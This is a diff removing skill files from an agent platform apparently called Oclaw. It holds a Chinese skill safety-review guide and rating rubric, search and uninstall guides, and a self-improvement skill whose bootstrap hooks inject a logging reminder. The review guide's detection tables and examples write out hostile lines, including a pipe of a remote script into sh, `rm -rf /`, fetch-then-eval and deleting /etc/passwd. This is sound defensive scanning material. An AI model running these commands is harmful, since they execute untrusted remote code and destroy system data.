ClawHub 返回的 **slug** 可能与解压后 `SKILL.md` frontmatter 里的 **name** 不同。卸载、启用、绑定角色时以 **`skill_list` / API 返回的 `name`** 为准。

View file

@ -1,385 +0,0 @@
> **Oclaw 说明**:本文件为**可选的人工安全审查**参考流程。Oclaw **不会**自动调用 Cocoloop BSS 或远程「Safe Check」服务;安装与运行以平台自带沙箱、工具策略与租户配置为准。执行审查前请确认符合本地合规要求。
# Skill 安全检查流程指南(参考)
本文档描述一套**可参考**的人工安全检查执行流程,可与 [skill-safety-rubric.md](skill-safety-rubric.md) 配合阅读。Oclaw 不保证与任何第三方「安全认证产品」行为一致。
## 检查触发时机
1. **安装前检查**(推荐)
- 用户明确请求:"检查 xxx 安全"
- 来源为 T3 且用户未使用 --skip-check 参数
2. **安装后检查**
- 安装完成后询问用户是否需要检查
3. **批量检查**
- 检查所有已安装 skills
## 检查流程概览
```
开始检查
↓
定位 Skill 来源
├── 本地路径 ──→ 读取本地文件
├── Skill 名称 ──→ 在安装目录查找
├── GitHub 链接 ──→ 下载仓库内容
└── URL ──→ 下载内容
↓
提取所有代码
├── SKILL.md 中的代码块
├── scripts/ 目录文件
├── references/ 目录(检查可执行代码)
└── assets/ 目录(检查可执行文件)
↓
执行六项检查
├── 1. 代码安全性
├── 2. 数据隐私性
├── 3. 执行安全性
├── 4. 依赖可靠性
├── 5. 边界完整性
└── 6. 描述逻辑
↓
评估来源可信度 (T1/T2/T3)
↓
计算安全评级 (S+/S/A/B/C/D)
↓
生成报告 ──→ 询问保存位置 ──→ 保存报告
↓
评级 <= B? ──是──→ 强烈建议用户注意安全
↓
完成
```
## 详细检查步骤
### 第一步:定位 Skill
根据用户输入确定检查目标:
| 输入类型 | 处理方式 | 示例 |
| ----------- | ------------------ | ---------------------------------------------- |
| 本地路径 | 直接读取目录 | `~/.claude/skills/pdf-processor/` |
| Skill 名称 | 在平台安装目录查找 | `pdf-processor` |
| GitHub 链接 | 解析并下载仓库 | `https://github.com/owner/repo` |
| GitHub 短链 | 拼接完整地址 | `owner/repo` → `https://github.com/owner/repo` |
下载 GitHub 仓库内容:
1. 获取默认分支:`GET https://api.github.com/repos/{owner}/{repo}` → `default_branch`
2. 下载归档:`https://github.com/{owner}/{repo}/archive/{branch}.zip`
3. 解压到临时目录
### 第二步:提取代码
遍历 skill 目录,提取所有可执行内容:
**SKILL.md 代码块提取:**
- 正则匹配:/`(\w+)?\n([\s\S]*?)`/g
- 记录语言类型和代码内容
- 可执行语言标记:javascript, js, python, py, bash, sh, shell, ruby, rb, php, perl, pl
**scripts/ 目录:**
- 列出所有文件
- 根据扩展名识别类型:.js, .cjs, .mjs, .py, .sh, .rb, .pl
- 读取文件内容
**references/ 目录:**
- 检查是否包含可执行代码(按文件扩展名和内容)
**assets/ 目录:**
- 检查可执行二进制文件
### 第三步:六项检查
#### 3.1 代码安全性检查
检查危险函数和漏洞模式:
**D级触发项(一票否决):**
| 模式 | 描述 | 示例 |
| --------------- | -------------------- | ------------------------------ |
| `eval\s*\(` | 使用 eval 执行代码 | `eval(userInput)` |
| `exec\s*\(` | 使用 exec 执行命令 | `exec(userCommand)` |
| `system\s*\(` | 使用 system 执行命令 | `system("rm -rf /")` |
| `child_process` | 引入 child_process | `require('child_process')` |
| `spawn\s*\(` | 使用 spawn 执行命令 | `spawn('sh', ['-c', cmd])` |
| `rm\s+-rf\s+/` | 系统破坏性命令 | `rm -rf /` |
| `curl.*\|.*sh` | 管道执行远程脚本 | `curl http://x.com/s.sh \| sh` |
| `fetch.*eval` | 下载并执行代码 | `fetch(url).then(r=>eval(r))` |
**C级触发项:**
| 模式 | 描述 | 示例 |
| -------------- | ---------------------------------- | -------------------------- |
| 硬编码密码 | `password\s*=\s*["'][^"']+["']` | `password = "secret123"` |
| 硬编码 API Key | `api[_-]?key\s*=\s*["'][^"']+["']` | `api_key = "sk-xxx"` |
| 硬编码 Token | `token\s*=\s*["'][^"']+["']` | `token = "ghp_xxx"` |
| 硬编码 Secret | `secret\s*=\s*["'][^"']+["']` | `secret = "xxx"` |
| 文件删除操作 | `fs\.unlink\s*\(` | `fs.unlink('/etc/passwd')` |
| 目录删除操作 | `fs\.rmdir\s*\(` | `fs.rmdir('/system')` |
#### 3.2 数据隐私性检查
**D级触发项:**
- 未经用户确认上传本地文件到远程(T3 来源)
- 静默收集密码、密钥等敏感信息
- 将敏感数据传输到未加密通道(http 而非 https)
**C级触发项:**
- 收集的数据超出功能说明范围
- 未明确告知用户数据使用情况
检查方法:
- 查找网络请求代码(fetch, axios, request, http.get)
- 检查请求目标 URL
- 检查请求体是否包含敏感字段名
#### 3.3 执行安全性检查
**D级触发项:**
- 执行 `rm -rf /` 或类似系统破坏性命令
- 无确认直接执行系统级危险操作(格式化磁盘、修改系统配置)
- 修改系统关键配置且无备份机制
**C级触发项:**
- 危险操作缺乏二次确认
- 关键操作无回滚机制
#### 3.4 依赖可靠性检查
检查是否加载动态代码:
- 从网络下载并执行代码
- 使用 `fetch` 或 `curl` 获取远程脚本并执行
- 动态 `import()` 不可信来源的模块
- `require()` 远程模块
**URL 递归检查机制:**
对于动态加载的可执行文件,实施最多 2 层的 URL 递归检查:
```
第 0 层: Skill 本体代码
↓ 发现动态加载 URL
第 1 层: 下载并检查第一层动态加载的内容
↓ 如发现该层内容仍包含动态加载
第 2 层: 下载并检查第二层动态加载的内容
↓ 如第 2 层仍包含动态加载
终止递归,最高标记为 C 级(多层动态加载风险)
```
**递归检查流程:**
1. **提取 URL**:从代码中提取所有网络请求目标 URL
- `fetch('https://example.com/script.js')`
- `curl -o script.sh https://example.com/script.sh`
- `import('https://example.com/module.js')`
- `require('https://example.com/package')`
2. **逐层检查**:
- **第 1 层**:下载 URL 内容,检查是否为可执行代码
- 如果是可执行代码 → 进行安全检查(危险函数、敏感信息等)
- 如果包含新的动态加载 URL → 进入第 2 层
- **第 2 层**:下载并检查第二层内容
- 如果仍包含动态加载 → 标记为 C 级(多层动态加载)
- 记录所有发现的 URL 链
3. **风险评级规则**:
- **无动态加载**:正常评级流程
- **仅第 1 层动态加载**:根据来源分级处理
- **存在第 2 层动态加载**:最高评级为 C 级
- **第 2 层后仍有动态加载**:强制标记为 C 级
**来源分级处理(动态代码):**
- **T1 来源**:可加载官方动态代码,放宽至 B 级要求
- **T2 来源**:动态代码需来源验证,放宽至 C 级要求
- **T3 来源**:严格禁止未经验证的动态代码加载
**多层动态加载示例(C 级):**
```javascript
// Skill 代码(第 0 层)
fetch('https://example.com/loader.js'); // 第 1 层
// loader.js 内容(第 1 层)
import('https://another.com/runtime.js'); // 第 2 层
// runtime.js 内容(第 2 层)
fetch('https://third.com/exec.js'); // 第 3 层 → 触发 C 级标记
```
#### 3.5 边界完整性检查
- 缺乏基本的输入验证(未检查参数类型、范围)
- 对异常情况处理不当(try-catch 缺失)
- 错误信息泄露敏感信息(堆栈跟踪包含路径、密钥片段)
#### 3.6 描述逻辑审查
- 功能描述是否清晰准确
- 安全相关行为是否有明确告知
- 是否隐瞒潜在风险
### 第四步:来源可信度评估
确定 skill 的来源等级:
**T1 - 官方/顶级来源:**
- 知名大型技术公司(Google, Microsoft, OpenAI, Anthropic, Meta, AWS)
- 顶级开源基金会(Apache, Linux 基金会)
- 有官方代码签名
**T2 - 可信组织来源:**
- 有实名认证的组织账号
- GitHub 组织账号(非个人)
- Stars > 1000 或有良好声誉
**T3 - 社区/个人来源:**
- 个人开发者账号
- 小型社区项目
- 来源无法明确验证
### 第五步:计算评级
评级判定流程:
```
检查开始
↓
发现 D 级问题? ──是──→ D 级(一票否决)
↓ 否
发现 C 级问题? ──是──→ C 级
↓ 否
满足 S 级要求? ──是──→ S 级
↓ 否
满足 A 级要求? ──是──→ A 级
↓ 否
B 级
```
**纯文档型资产**(无代码):
| 条件 | 评级 |
|------|------|
| 无 C/D 级问题 + T1/T2 来源 | **S 级** |
| 无 C/D 级问题 + T3 来源 | **A 级** |
**代码型资产**(有脚本/可执行代码):
S 级要求(需全部满足):
1. **来源可信**:T1/T2 来源
2. **代码安全**:无危险函数,无注入漏洞
3. **依赖可靠**:版本锁定,无动态代码加载,无已知 CVE
4. **输入验证**:完善的参数校验和类型检查
5. **错误处理**:不暴露敏感信息,有异常处理机制
6. **权限最小化**:权限申请与功能匹配,有明确说明
7. **数据隐私**:无静默收集,用户可控制数据使用
A 级要求(需全部满足):
1. **代码安全**:无危险函数,无注入漏洞
2. **依赖可靠**:版本锁定,无动态代码加载,无已知 CVE
3. **输入验证**:完善的参数校验和类型检查
4. **错误处理**:不暴露敏感信息,有异常处理机制
5. **权限最小化**:权限申请与功能匹配,有明确说明
6. **数据隐私**:无静默收集,用户可控制数据使用
(A 级与 S 级的区别在于:S 级要求 T1/T2 来源,A 级允许 T3 来源)
### 第六步:生成报告
报告结构:
```markdown
# Cocoloop Safe Check 安全认证报告
## 基本信息
- Skill 名称: [名称]
- 来源: [GitHub 链接/本地路径]
- 来源等级: [T1/T2/T3]
## 评级结果
评级: [S+/S/A/B/C/D]
评价: [一句话评价]
## 检查依据
### ✅ 通过项
- [检查项]
### ⚠️ 注意事项
- [注意事项]
### ❌ 问题项
- [问题项]
## 详细检查结果
[各维度详细检查结果]
## 使用建议
[推荐使用场景和安全使用指南]
```
## 报告保存流程
1. **询问用户保存位置**
- 选项:桌面 / 下载文件夹 / 当前工作目录 / 指定路径 / 只展示不保存
2. **根据选择保存**
- 文件名格式:`Cocoloop-认证-{skill-name}-{评级}-报告.md`
3. **展示结果摘要**
## 使用建议生成
根据评级生成使用建议:
**S+/S 级:**
- 可放心使用
- 推荐用于生产环境
**A 级:**
- 代码安全,可正常使用
- 建议了解作者背景
**B 级:**
- 无显著安全问题,但有改进空间
- 建议阅读代码后再使用
**C 级:**
- 存在潜在安全问题
- 建议在隔离环境测试后再使用
- 不建议用于处理敏感数据
**D 级:**
- 存在严重安全问题
- 强烈建议不要使用
- 如需使用,必须在完全隔离的环境中

View file

@ -1,41 +0,0 @@
# Oclaw — Skill 搜索指南
## 市场提供方
由设置 **`AIA_SKILL_MARKET_PROVIDER`** 决定:`clawhub`(默认)或 `cocoloop`(见主 `SKILL.md` 对照表)。Admin 的 `market/search` 与 `market/detail` 会调用当前提供方适配器。
## 主源:ClawHub
当 `AIA_SKILL_MARKET_PROVIDER=clawhub` 时使用。
### Admin HTTP(ClawHub 模式下)
- 搜索:`GET /admin/api/skills/market/search?q=<关键词>&limit=<n>`
- 详情:`GET /admin/api/skills/market/detail?slug=<slug>`
从详情中读取:`slug`、`version`、描述、以及安装所需的 **`archiveUrl`**(ClawHub 下载链)。
## 主源:CocoLoop 商店
当 `AIA_SKILL_MARKET_PROVIDER=cocoloop` 时,同一组 Admin 路由背后走 **`cocoloop_client`**:关键词搜索商店列表,按技能 **`name` 字段** 匹配 slug;详情中的安装 URL 来自列表 **`download_url`**(或按 `asset_name` 拼 zip 直链)。商店前端:[hub.cocoloop.cn](https://hub.cocoloop.cn)。
### 模型侧
若无 Admin 权限,请用户代为搜索/安装,或提供准确 **slug** / **archive_url**。
> 重要:市场搜索不是安装前置条件。
> 模型安装策略下只允许 `skill_auto_install`。若没有可用市场结果,应向用户索取可安装内容(如技能描述、`SKILL.md` 或源文件)并走 `skill_auto_install`,而不是要求先配置 `AIA_INTERNAL_BASE_URL` 或先启动本地 5173 服务。
## 辅助源:GitHub(可选)
当市场无结果或用户指定开源仓库时:
```
GET https://api.github.com/search/repositories?q=<关键词>+filename:SKILL.md&sort=stars&order=desc
```
需自备 `User-Agent`,注意 API 速率限制。找到仓库后仍需**可安装的归档 URL** 再走 `install-registry`。
## 合并展示建议
向用户展示时标注来源:`[ClawHub]` / `[GitHub]`,并给出 **slug** 或 **full_name**。

View file

@ -1,193 +0,0 @@
> **Oclaw 说明**:以下为**评级与检查维度参考**,供人工审阅 skill 时使用。Oclaw **不**根据本文件自动打分或拦截安装;实际风险控制依赖权限、审计、工具白名单与运行环境隔离。
# Skill 安全审查量表(参考)
本文件提供人工审阅时可用的检查维度与分级思路,**不**作为 Oclaw 运行时强制契约。
## 评级标准
### S+ 级
- 通过人工验证
- T1/T2 来源
- 满足所有 S 级要求
### S 级
- T1/T2 来源
- 代码安全规范
- 依赖版本锁定
- 无动态代码加载
### A 级
- 代码安全规范
- 依赖版本锁定
- 无动态代码加载
- 允许 T3 来源
### B 级
- 无 C/D 级问题
- 存在改进空间
### C 级
- 存在潜在安全漏洞
- 硬编码敏感信息
### D 级(一票否决)
- 使用 eval() 执行不可信网络代码
- 存在 SQL 注入、命令注入等明显漏洞
- 未经确认上传本地文件到远程(T3 来源)
- 执行 rm -rf / 等系统破坏性命令
## 检查维度
### 1. 代码安全性检查
**D级触发项**:
- 使用 `eval()` 执行不可信网络代码
- 使用 `exec()`、`system()` 执行未过滤的用户输入
- 存在 SQL 注入、命令注入、XSS 等明显漏洞
- 存在已知的严重 CVE 漏洞
**C级触发项**:
- 存在潜在的安全漏洞(路径遍历、不安全的反序列化)
- 硬编码敏感信息(密码、API Key、Token)
### 2. 数据隐私性检查
**D级触发项**:
- 未经用户确认上传本地文件到远程(T3 来源)
- 静默收集密码、密钥等敏感信息
- 将敏感数据传输到未加密通道
**C级触发项**:
- 收集的数据超出功能说明范围
- 未明确告知用户数据使用情况
### 3. 执行安全性检查
**D级触发项**:
- 执行 `rm -rf /` 或类似系统破坏性命令
- 无确认直接执行系统级危险操作
- 修改系统关键配置且无备份机制
**C级触发项**:
- 危险操作缺乏二次确认
- 关键操作无回滚机制
### 4. 依赖可靠性检查
检查 skill 是否加载动态代码:
- 从网络下载并执行代码
- 使用 `fetch` 或 `curl` 获取远程脚本并执行
- 动态 `import()` 不可信来源的模块
**URL 递归检查(最多 2 层):**
对动态加载的可执行文件进行递归检查:
- **第 1 层**:Skill 代码中直接引用的动态 URL
- **第 2 层**:第 1 层内容中引用的动态 URL
- **超过 2 层**:发现第 3 层及以上动态加载 → **强制标记为 C 级**
**评级规则**:
| 动态加载层级 | 评级影响 |
|-------------|---------|
| 无动态加载 | 正常评级流程 |
| 仅第 1 层 | 根据来源分级处理 |
| 存在第 2 层 | 最高评级为 C 级 |
| 第 2 层后仍有动态加载 | **强制 C 级** |
**来源分级处理**:
- T1 来源:可加载官方动态代码,放宽至 B 级要求
- T2 来源:动态代码需来源验证,放宽至 C 级要求
- T3 来源:严格禁止未经验证的动态代码加载
**C 级触发场景(多层动态加载):**
```javascript
// 示例:三层动态加载触发 C 级
// Skill 代码 → 加载 loader.js → 加载 runtime.js → 加载 exec.js
fetch('https://example.com/loader.js') // 第 1 层
.then(r => eval(r.text()))
// loader.js 中:
import('https://cdn.com/runtime.js') // 第 2 层
// runtime.js 中:
fetch('https://third.com/exec.js') // 第 3 层 → C 级
```
### 5. 来源可信度评估
**T1 - 官方/顶级来源**:
- 知名大型技术公司(Google, Microsoft, OpenAI, Anthropic, Meta, AWS)
- 顶级开源基金会(Apache, Linux 基金会)
- 有官方代码签名
**T2 - 可信组织来源**:
- 有实名认证的组织账号
- GitHub 组织账号(非个人)
- Stars > 1000 或有良好声誉
**T3 - 社区/个人来源**:
- 个人开发者账号
- 小型社区项目
- 来源无法明确验证
### 6. Markdown 内嵌代码检查
SKILL.md 文件中的代码块也需要检查:
**高风险代码块**:
- 包含代码执行类危险函数(如 eval/exec)
- 包含系统破坏性命令
- 包含敏感信息(凭据/密钥)
- 包含未经验证的网络下载执行
**中风险代码块**:
- 可执行的脚本代码
- 包含网络请求或文件操作的代码
**低风险代码块**:
- 配置/数据文件示例
- 代码片段演示(不完整)
- 单行简单命令(无害)
## 报告格式
```markdown
# Cocoloop Safe Check 安全认证报告
## 基本信息
- Skill 名称: [名称]
- 来源: [GitHub 链接/本地路径]
- 来源等级: [T1/T2/T3]
## 评级结果
评级: [S+/S/A/B/C/D]
评价: [一句话评价]
## 检查依据
### 通过项
- [检查项]
### 注意事项
- [注意事项]
### 问题项
- [问题项]
## 详细检查结果
[各维度详细检查结果]
## 使用建议
[推荐使用场景和安全使用指南]
```
## 快速检查清单
- [ ] 无 eval/exec/system 等危险函数
- [ ] 无硬编码敏感信息
- [ ] 无 SQL/命令注入漏洞
- [ ] 依赖版本已锁定
- [ ] 无未经验证的动态代码加载
- [ ] 来源可信(T1/T2 优先)
- [ ] 有完善的输入验证
- [ ] 错误处理不泄露敏感信息

View file

@ -1,32 +0,0 @@
# Oclaw — Skill 卸载指南
## 路径
卸载逻辑会依次查找(存在则删除):
1. `<skills_root>/<name>/`
2. `<skills_root>/_workspace/<name>/`
其中 `<skills_root>` 为 `AIA_SKILLS_ROOT` 或默认 `runtime/skills/`。
`<name>` 为 **`SKILL.md` frontmatter 中的 `name`**(与 `skill_list` 中 `name` 字段一致),不一定等于 ClawHub **slug**。
## Admin
- `POST /admin/api/skills/uninstall`
Body:`{ "name": "<skill manifest name>" }`
卸载前应在 UI 或对话中向用户确认;删除后不可恢复(除非有外部备份)。
## 启用状态
卸载实现中会尝试将技能从禁用列表恢复为可用状态(见 `skill_installer.uninstall_skill`);若需保留禁用记录,请在产品中另行约定(当前以代码为准)。
## 批量卸载
对每个名称依次调用卸载接口,独立汇总结果。
## 与旧版差异
- ~~`rm -rf ~/.openclaw/skills/`~~ 等路径不适用于本仓库默认布局
- 不使用任何外部「技能卸载 CLI」;一律走 Admin `uninstall` 或安装器 API

View file

@ -1,14 +0,0 @@
# self-improvement
Self-improvement skill for Oclaw. It captures learnings, errors, and feature requests to support continuous improvement across sessions.
## Attribution
Remade for Oclaw from the original repo:
- https://github.com/pskoett/pskoett-ai-skills
- https://github.com/pskoett/pskoett-ai-skills/tree/main/skills/self-improvement
## Main File
- `SKILL.md`

View file

@ -1,83 +0,0 @@
---
name: self-improvement
description: 将纠错、错误与能力缺口写入 Wiki 以持续改进。适用于操作失败、用户反馈纠正、问题复发、或需要沉淀并推动的新能力需求场景。
metadata:
---
# 自我改进(仅 Wiki)
本技能仅使用 Wiki,不使用本地 `.learnings/` 文件。
## 存储路径
- `improvement/learnings.md`
- `improvement/errors.md`
- `improvement/feature-requests.md`
## 触发条件
出现以下情况时启用本技能:
1. 命令或操作出现非预期失败。
2. 用户对错误回答进行纠正。
3. 用户提出缺失能力需求。
4. 同类问题再次复发。
5. 发现更优且可复用的方法。
## 必要流程
每次触发都执行以下流程:
1. 用 `memory_wiki_search` 检索历史相关记录。
2. 用 `memory_wiki_get` 读取目标文件上下文。
3. 用 `memory_wiki_apply`(`action=append`)追加结构化条目。
4. 对目标文件执行 `memory_wiki_lint`。
5. 若 lint 报错,立即用 `memory_wiki_apply` 修复。
## 条目路由
- 纠错 / 洞见 / 最佳实践 -> `improvement/learnings.md`
- 运行时 / 工具 / API 失败 -> `improvement/errors.md`
- 能力请求 / 缺失功能 -> `improvement/feature-requests.md`
## 条目模板
```markdown
## [ID] <标题>
**Logged**: ISO-8601 时间戳
**Priority**: low | medium | high | critical
**Status**: pending
**Area**: frontend | backend | infra | tests | docs | config
### Summary
一句话摘要。
### Details
发生了什么、为什么重要、可执行改进建议。
### Metadata
- Source: conversation | error | user_feedback
- Related Files: path/to/file.ext
- See Also: <optional-id>
```
ID 格式:
- Learning: `LRN-YYYYMMDD-XXX`
- Error: `ERR-YYYYMMDD-XXX`
- Feature request: `FEAT-YYYYMMDD-XXX`
## 提升目标
当条目已具备广泛复用价值时,将精炼规则提升到:
- `AGENTS.md`(工作流模式)
- `SOUL.md`(行为模式)
- `TOOLS.md`(工具易错点)
- `.github/copilot-instructions.md`(共享编码约定)
## 安全规则
- 不记录密钥、令牌、凭据或原始敏感信息。
- 敏感输出使用脱敏摘要,不保留完整原文。
- 未验证事实不得当作已确认规则持久化。

View file

@ -1,6 +0,0 @@
{
"ownerId": "kn70cjr952qdec1nx70zs6wefn7ynq2t",
"slug": "self-improving-agent",
"version": "3.0.16",
"publishedAt": 1776301314452
}

View file

@ -1,5 +0,0 @@
# Errors Log
Command failures, exceptions, and unexpected behaviors.
---

View file

@ -1,5 +0,0 @@
# Feature Requests
Capabilities requested by user that don't currently exist.
---

View file

@ -1,45 +0,0 @@
# Learnings
Corrections, insights, and knowledge gaps captured during development.
**Categories**: correction | insight | knowledge_gap | best_practice
**Areas**: frontend | backend | infra | tests | docs | config
**Statuses**: pending | in_progress | resolved | wont_fix | promoted | promoted_to_skill
## Status Definitions
| Status | Meaning |
|--------|---------|
| `pending` | Not yet addressed |
| `in_progress` | Actively being worked on |
| `resolved` | Issue fixed or knowledge integrated |
| `wont_fix` | Decided not to address (reason in Resolution) |
| `promoted` | Elevated to CLAUDE.md, AGENTS.md, or copilot-instructions.md |
| `promoted_to_skill` | Extracted as a reusable skill |
## Skill Extraction Fields
When a learning is promoted to a skill, add these fields:
```markdown
**Status**: promoted_to_skill
**Skill-Path**: skills/skill-name
```
Example:
```markdown
## [LRN-20250115-001] best_practice
**Logged**: 2025-01-15T10:00:00Z
**Priority**: high
**Status**: promoted_to_skill
**Skill-Path**: skills/docker-m1-fixes
**Area**: infra
### Summary
Docker build fails on Apple Silicon due to platform mismatch
...
```
---

View file

@ -1,177 +0,0 @@
# Skill Template
Template for creating skills extracted from learnings. Copy and customize.
---
## SKILL.md Template
```markdown
---
name: skill-name-here
description: "Concise description of when and why to use this skill. Include trigger conditions."
---
# Skill Name
Brief introduction explaining the problem this skill solves and its origin.
## Quick Reference
| Situation | Action |
|-----------|--------|
| [Trigger 1] | [Action 1] |
| [Trigger 2] | [Action 2] |
## Background
Why this knowledge matters. What problems it prevents. Context from the original learning.
## Solution
### Step-by-Step
1. First step with code or command
2. Second step
3. Verification step
### Code Example
\`\`\`language
// Example code demonstrating the solution
\`\`\`
## Common Variations
- **Variation A**: Description and how to handle
- **Variation B**: Description and how to handle
## Gotchas
- Warning or common mistake #1
- Warning or common mistake #2
## Related
- Link to related documentation
- Link to related skill
## Source
Extracted from learning entry.
- **Learning ID**: LRN-YYYYMMDD-XXX
- **Original Category**: correction | insight | knowledge_gap | best_practice
- **Extraction Date**: YYYY-MM-DD
```
---
## Minimal Template
For simple skills that don't need all sections:
```markdown
---
name: skill-name-here
description: "What this skill does and when to use it."
---
# Skill Name
[Problem statement in one sentence]
## Solution
[Direct solution with code/commands]
## Source
- Learning ID: LRN-YYYYMMDD-XXX
```
---
## Template with Scripts
For skills that include executable helpers:
```markdown
---
name: skill-name-here
description: "What this skill does and when to use it."
---
# Skill Name
[Introduction]
## Quick Reference
| Command | Purpose |
|---------|---------|
| `./scripts/helper.sh` | [What it does] |
| `./scripts/validate.sh` | [What it does] |
## Usage
### Automated (Recommended)
\`\`\`bash
./runtime/skills/skill-name/scripts/helper.sh [args]
\`\`\`
### Manual Steps
1. Step one
2. Step two
## Scripts
| Script | Description |
|--------|-------------|
| `scripts/helper.sh` | Main utility |
| `scripts/validate.sh` | Validation checker |
## Source
- Learning ID: LRN-YYYYMMDD-XXX
```
---
## Naming Conventions
- **Skill name**: lowercase, hyphens for spaces
- Good: `docker-m1-fixes`, `api-timeout-patterns`
- Bad: `Docker_M1_Fixes`, `APITimeoutPatterns`
- **Description**: Start with action verb, mention trigger
- Good: "Handles Docker build failures on Apple Silicon. Use when builds fail with platform mismatch."
- Bad: "Docker stuff"
- **Files**:
- `SKILL.md` - Required, main documentation
- `scripts/` - Optional, executable code
- `references/` - Optional, detailed docs
- `assets/` - Optional, templates
---
## Extraction Checklist
Before creating a skill from a learning:
- [ ] Learning is verified (status: resolved)
- [ ] Solution is broadly applicable (not one-off)
- [ ] Content is complete (has all needed context)
- [ ] Name follows conventions
- [ ] Description is concise but informative
- [ ] Quick Reference table is actionable
- [ ] Code examples are tested
- [ ] Source learning ID is recorded
After creating:
- [ ] Update original learning with `promoted_to_skill` status
- [ ] Add `Skill-Path: skills/skill-name` to learning metadata
- [ ] Test skill by reading it in a fresh session

View file

@ -1,23 +0,0 @@
---
name: self-improvement
description: "在智能体启动阶段注入自我改进提醒"
metadata: {"oclaw":{"emoji":"🧠","events":["agent:bootstrap"]}}
---
# 自我改进 Hook
在 `agent:bootstrap` 阶段注入“学习沉淀提醒”。
## 功能说明
- 在 `agent:bootstrap` 触发(工作区文件注入前)
- 注入提醒块,引导将学习写入 Wiki 路径
- 提示智能体记录纠错、错误与新发现
## 配置方式
无需额外配置,启用命令:
```bash
oclaw hooks enable self-improvement
```

View file

@ -1,109 +0,0 @@
/**
* Oclaw 自我改进 Hook
*
* 在 agent:bootstrap 阶段注入学习沉淀提醒。
*/
const REMINDER_NAME = 'SELF_IMPROVEMENT_REMINDER.md';
const REMINDER_PATH = REMINDER_NAME;
const REMINDER_CONTENT = `
## 自我改进提醒
任务完成后,请评估是否产生可沉淀学习。
仅在当前仓库/工作区启用 self-improvement 技能时记录。
记录前:
- 使用 memory_wiki_* 工具写入 \`improvement/\` 下的 Wiki 笔记
- 不记录密钥、令牌、私钥、环境变量或原始对话全文
- 优先使用简短摘要或脱敏片段,避免完整命令输出
**以下情况应记录:**
- 用户纠正你 → \`improvement/learnings.md\`
- 命令/操作失败 → \`improvement/errors.md\`
- 用户提出缺失能力 → \`improvement/feature-requests.md\`
- 发现认知错误 → \`improvement/learnings.md\`
- 发现更优做法 → \`improvement/learnings.md\`
**当模式被验证后进行提升:**
- 行为模式 → \`SOUL.md\`
- 工作流改进 → \`AGENTS.md\`
- 工具易错点 → \`TOOLS.md\`
条目保持简洁:时间、标题、发生了什么、后续应如何做。
`.trim();
function isObject(value) {
return !!value && typeof value === 'object';
}
function isInjectedReminderFile(value) {
if (!isObject(value) || value.path !== REMINDER_PATH) {
return false;
}
return (
value.virtual === true ||
value.content === REMINDER_CONTENT
);
}
const handler = async (event) => {
// 事件结构安全检查
if (!event || typeof event !== 'object') {
return;
}
// 仅处理 agent:bootstrap 事件
if (event.type !== 'agent' || event.action !== 'bootstrap') {
return;
}
// context 安全检查
if (!event.context || typeof event.context !== 'object') {
return;
}
// 跳过子代理会话,避免引导污染
const sessionKey = event.sessionKey || '';
if (sessionKey.includes(':subagent:')) {
return;
}
// 以虚拟 bootstrap 文件注入提醒
if (Array.isArray(event.context.bootstrapFiles)) {
const occupiedByOtherFile = event.context.bootstrapFiles.some(
(file) => isObject(file) && file.path === REMINDER_PATH && !isInjectedReminderFile(file),
);
if (occupiedByOtherFile) {
return;
}
const cleanedBootstrapFiles = event.context.bootstrapFiles.filter(
(file, index, files) =>
!isInjectedReminderFile(file) ||
files.findIndex((candidate) => isInjectedReminderFile(candidate)) === index,
);
const reminderFile = {
name: REMINDER_NAME,
path: REMINDER_PATH,
content: REMINDER_CONTENT,
missing: false,
virtual: true,
};
const existingIndex = cleanedBootstrapFiles.findIndex((file) => isInjectedReminderFile(file));
if (existingIndex === -1) {
cleanedBootstrapFiles.push(reminderFile);
} else {
cleanedBootstrapFiles[existingIndex] = reminderFile;
}
event.context.bootstrapFiles = cleanedBootstrapFiles;
}
};
module.exports = handler;
module.exports.default = handler;

View file

@ -1,85 +0,0 @@
from __future__ import annotations
from typing import Any
REMINDER_NAME = "SELF_IMPROVEMENT_REMINDER.md"
REMINDER_PATH = REMINDER_NAME
REMINDER_CONTENT = """## 自我改进提醒
任务完成后,请评估是否产生可沉淀学习。
仅在当前仓库/工作区启用 self-improvement 技能时记录。
记录前:
- 使用 memory_wiki_* 工具写入 `improvement/` 下的 Wiki 笔记
- 不记录密钥、令牌、私钥、环境变量或原始对话全文
- 优先使用简短摘要或脱敏片段,避免完整命令输出
**以下情况应记录:**
- 用户纠正你 → `improvement/learnings.md`
- 命令/操作失败 → `improvement/errors.md`
- 用户提出缺失能力 → `improvement/feature-requests.md`
- 发现认知错误 → `improvement/learnings.md`
- 发现更优做法 → `improvement/learnings.md`
**当模式被验证后进行提升:**
- 行为模式 → `SOUL.md`
- 工作流改进 → `AGENTS.md`
- 工具易错点 → `TOOLS.md`
条目保持简洁:时间、标题、发生了什么、后续应如何做。"""
def _is_record(value: object) -> bool:
return isinstance(value, dict)
def _is_injected_reminder_file(value: object) -> bool:
if not _is_record(value) or str(value.get("path")) != REMINDER_PATH: # type: ignore[union-attr]
return False
v = value # type: ignore[assignment]
return v.get("virtual") is True or v.get("content") == REMINDER_CONTENT
def handle(event: object) -> None:
if getattr(event, "type", None) != "agent" or getattr(event, "action", None) != "bootstrap":
return
ctx = getattr(event, "context", None)
if not isinstance(ctx, dict):
return
session_key = str(getattr(event, "sessionKey", "") or "")
if ":subagent:" in session_key:
return
if not isinstance(ctx.get("bootstrapFiles"), list):
return
files: list[object] = list(ctx.get("bootstrapFiles") or [])
occupied = any(
_is_record(f) and str(f.get("path")) == REMINDER_PATH and not _is_injected_reminder_file(f) # type: ignore[union-attr]
for f in files
)
if occupied:
return
cleaned: list[object] = [
f
for i, f in enumerate(files)
if (not _is_injected_reminder_file(f))
or (next((j for j, c in enumerate(files) if _is_injected_reminder_file(c)), -1) == i)
]
reminder_file: dict[str, Any] = {
"name": REMINDER_NAME,
"path": REMINDER_PATH,
"content": REMINDER_CONTENT,
"missing": False,
"virtual": True,
}
existing_idx = next((i for i, f in enumerate(cleaned) if _is_injected_reminder_file(f)), -1)
if existing_idx == -1:
cleaned.append(reminder_file)
else:
cleaned[existing_idx] = reminder_file
ctx["bootstrapFiles"] = cleaned

View file

@ -1,108 +0,0 @@
/**
* Oclaw 自我改进 Hook
*
* 在 agent:bootstrap 阶段注入学习沉淀提醒。
*/
import type { HookHandler } from 'oclaw/hooks';
const REMINDER_NAME = 'SELF_IMPROVEMENT_REMINDER.md';
const REMINDER_PATH = REMINDER_NAME;
const REMINDER_CONTENT = `## 自我改进提醒
任务完成后,请评估是否产生可沉淀学习。
仅在当前仓库/工作区启用 self-improvement 技能时记录。
记录前:
